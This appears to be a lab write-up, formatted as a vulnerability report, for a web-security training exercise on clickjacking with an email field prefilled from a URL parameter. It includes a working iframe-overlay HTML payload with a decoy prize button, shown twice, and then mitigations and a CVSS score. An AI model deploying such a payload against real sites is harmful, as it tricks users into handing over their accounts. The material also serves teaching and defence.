

Title of Issue

Clickjacking — UI Redress Attack with Form Data Prefilled via URL Parameter

Description

The application accepts a user-supplied value in the `email` URL parameter and uses it to pre-populate the email input field in the account management form. This behaviour, combined with the absence of framing protection headers, enables a more targeted clickjacking attack: the attacker can embed the `/my-account` page in an invisible iframe with the attacker's email pre-filled, then trick the victim into clicking a single button to submit the form.

This eliminates the need for the victim to type anything — a single click is sufficient to change their account email to the attacker's chosen value.

Affected Page: `/my-account?email=<attacker-email>` **Vulnerable Parameter:** `email` (URL parameter pre-populates form field)

Steps to Exploit

1. Log in as `wiener:peter` and visit `/my-account?email=attacker@evil.com` — observe the email input is pre-populated.
2. Navigate to the **exploit server** via the lab banner link.
3. Enter the following HTML payload, replacing the `src` with the lab's URL and the attacker's email:

```
<style>
  iframe {
    position: relative;
    width: 700px;
    height: 500px;
    opacity: 0.0001;
    z-index: 2;
  }
  div {
    position: absolute;
    top: 445px;
    left: 60px;
    z-index: 1;
    font-size: 28px;
    color: red;
  }
</style>
<div>Click me to win a prize!</div>
<iframe src="https://<lab-id>.web-security-academy.net/my-account?
email=hacker@evil-user.net"></iframe>
```

4. Store the exploit and click **Deliver exploit to victim**.
 5. The victim clicks the decoy, submitting the pre-filled email-change form.
-

Proof of Concept

Pre-fill URL:

```
https://<lab-id>.web-security-academy.net/my-account?email=hacker@evil-user.net
```

Visiting this URL causes the form's email field to be pre-populated with `hacker@evil-user.net`.

Exploit HTML:

```
<style>
  iframe {
    position: relative;
    width: 700px;
    height: 500px;
    opacity: 0.0001;
    z-index: 2;
  }
  div {
    position: absolute;
    top: 445px;
    left: 60px;
    z-index: 1;
    font-size: 28px;
    color: red;
  }
</style>
<div>Click me to win a prize!</div>
<iframe src="https://<lab-id>.web-security-academy.net/my-account?email=hacker@evil-
user.net"></iframe>
```

Attack chain:

1. Victim is authenticated as a registered user.
2. Victim visits attacker's page hosting the exploit HTML.
3. The invisible iframe loads `/my-account?email=hacker@evil-user.net` — the form field is already filled.
4. The victim sees only the decoy "Click me" text and clicks it.
5. They have actually clicked **Update email** in the invisible frame — submitting the form with the attacker's email.
6. The victim's account email is now `hacker@evil-user.net`, enabling account takeover.

Impact

- Single-click account takeover — attacker controls the victim's email without any victim input beyond clicking.
 - Once email is changed, attacker triggers password reset to fully take over the account.
 - More reliable than standard clickjacking as no field input is required from the victim.
 - Bypasses CSRF protections since the victim's browser sends the request with their own valid token.
-

Mitigation / Remediation

1. **Set Content-Security-Policy: frame-ancestors 'none'** on all sensitive pages to prevent iframe embedding.
2. **Do not pre-populate sensitive form fields from URL parameters** — or if done, require explicit user confirmation before allowing submission.
3. **Implement X-Frame-Options: DENY** as a backwards-compatible framing protection header.
4. **Require re-authentication** before processing email change requests.
5. **Send a confirmation email** to the old address before applying email changes.

CVSS Score

CVSS v3.1 Score: 5.4 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Attacker hosts the exploit page externally
Attack Complexity	Low	Single-click exploit, no complex setup
Privileges Required	None	No attacker account required
User Interaction	Required	Victim must be authenticated and click the decoy
Scope	Unchanged	Impact limited to the victim's account
Confidentiality Impact	Low	Attacker gains control of victim's account email
Integrity Impact	Low	Unauthorised account email change
Availability Impact	None	No denial of service